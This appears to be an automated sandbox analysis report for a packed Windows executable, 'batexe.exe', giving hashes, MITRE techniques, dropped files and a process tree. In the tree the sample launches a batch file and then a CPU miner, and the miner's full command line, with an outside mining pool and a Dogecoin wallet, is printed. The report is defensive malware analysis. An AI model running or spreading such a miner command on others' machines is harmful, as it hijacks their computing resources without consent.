73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 09:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
1524	b2e.exe
4256	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4256	cpuminer-sse2.exe
4256	cpuminer-sse2.exe
4256	cpuminer-sse2.exe
4256	cpuminer-sse2.exe
4256	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3824-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3824 wrote to memory of 1524	3824	batexe.exe	84
PID 3824 wrote to memory of 1524	3824	batexe.exe	84
PID 3824 wrote to memory of 1524	3824	batexe.exe	84
PID 1524 wrote to memory of 3512	1524	b2e.exe	85
PID 1524 wrote to memory of 3512	1524	b2e.exe	85
PID 1524 wrote to memory of 3512	1524	b2e.exe	85
PID 3512 wrote to memory of 4256	3512	cmd.exe	88
PID 3512 wrote to memory of 4256	3512	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3824
- C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6263.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe

Filesize
24.0MB

MD5
ca1deabc5eec142b4d7af7e1af820995

SHA1
32690ac7dd295f877d6d69b22e9e444779c955a8

SHA256
56465d81576b721decc4a87570796a4afc51a92c3f058fe02417fc961e1ed5aa

SHA512
a3deef748002ccf9607facf827fefaaac738f089a66cd561fa948a19e53b4078ccdfebc179827d5a6a4831e617c51e3217d291f3af0f85e8a9c8306cacee7db9

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe

Filesize
5.1MB

MD5
343c4ec32a53b4bbac396730ffd10d7b

SHA1
42a97d605548e822f835190b28887d95c9e42434

SHA256
d272295fb6c5bc85ff9b74fc709b29892e2b42e91bbf2ef05314d7e498f417ce

SHA512
94a3c402201538902b60972a395300982fd4fbcff560a71df296724ab119a347ae33768c93f6f1e7a33cfecfc2cf8074188b1548360095967ebfce87c51b69a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EC9.tmp\b2e.exe

Filesize
4.6MB

MD5
870ea9bb63bdc88e5627612af6398c14

SHA1
9e60f17bc135ecd2b74a058a2ad93b1ce5527d96

SHA256
893171be66c564ce464e0c33a9c5e0278b3a2c622c86405efeeb7419d7d572ff

SHA512
7f397e7c1ad2d8e2fa66103823be6d40d442547730c081b0cc0da99f23cad2cbffb313f21608bbe4e811e76b765352b91e8aa4bc61a4b0cae1dd2086b221cba5

Download Submit
C:\Users\Admin\AppData\Local\Temp\6263.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
b4a37b5221f07f330b02415144396e55

SHA1
c1af76fea7c7b047212cf4ed6c56d8a50af012cb

SHA256
93ec4d1a4cd23201eb4263a03d0a56b47ec593f32193b2806e0f508fff5b72e1

SHA512
05d284f11a0cc2a6c13b92c71faddd9cb3578c4afc2aaedcd25bce4bddebb71eac6ab308607ca0355ca6a3705a304069ef8a3ac4b22cf0530afbb22a5bb20c97

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
903KB

MD5
152ff6cd9166e688f62145853715fc21

SHA1
f6d0082aea650e955cc2edd73358cfe64b0f2fbd

SHA256
a31f56602c8fc9cc63a8be31f84a3b3a6c2ec3e29768d2b67f02b9bdb370aab2

SHA512
2ba153ef1f3b7230732fc38882adc691628669ac1789ac1dc11a1af706f81c932c5ebb0ee00e900833f37bdf4c270bd9a47181782e63de1ae29b5531eff6a5fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
799d3c24a4a181fef5c81ff448d54ca8

SHA1
4d78bf61e271fee37f496e5b27d98b4003d6f7f1

SHA256
49087555ba33ec28799185c3af8f2fe87c0519ce6b74fbfcd6fee01360cf6d73

SHA512
422485b12dcd6d9cab0fb589f013f98c5b144de14b6e07af756cb0d6970be8b090e44dd143cf0a3d09e50d4f06d9c68a39a1f3c5241b624446fe1e2ee181cae5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
880KB

MD5
3493f23b2a2a8a9305b0efe3964d76d7

SHA1
4e3303a177d4e618a4a01d0527a45a017979d9e2

SHA256
3b2f38110f8ef293afdc0294ba3e24e9576a6e53fcd39635b8179de2fa6bc4d1

SHA512
870ee7487aba23b6736bffbc655dc11cec99cd6dff8f3c3f7a58b028087ce94e26746839edabd3b8e59de5b5b3e4e72a810f69112984bd2921e6671e557f5be8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
831KB

MD5
743c674448bd338a5a62ad6f029ca19a

SHA1
d79d898c93551eb145bc144c57357d3b79bb829b

SHA256
8606ddba1dadff7cd45931cec48058fdbb99336bb89305394124b2212362e6bc

SHA512
94ca9d4a80122490acc39cd68480ec2e05165eacf665642016e063e4313c2098a4fc040aa361bfe9a7d050d996a19f015d7d771465e05a43fca7e9253797f799

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1524-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1524-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3824-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4256-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4256-46-0x0000000054CD0000-0x0000000054D68000-memory.dmp

Filesize
608KB

Download
memory/4256-47-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/4256-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4256-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4256-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download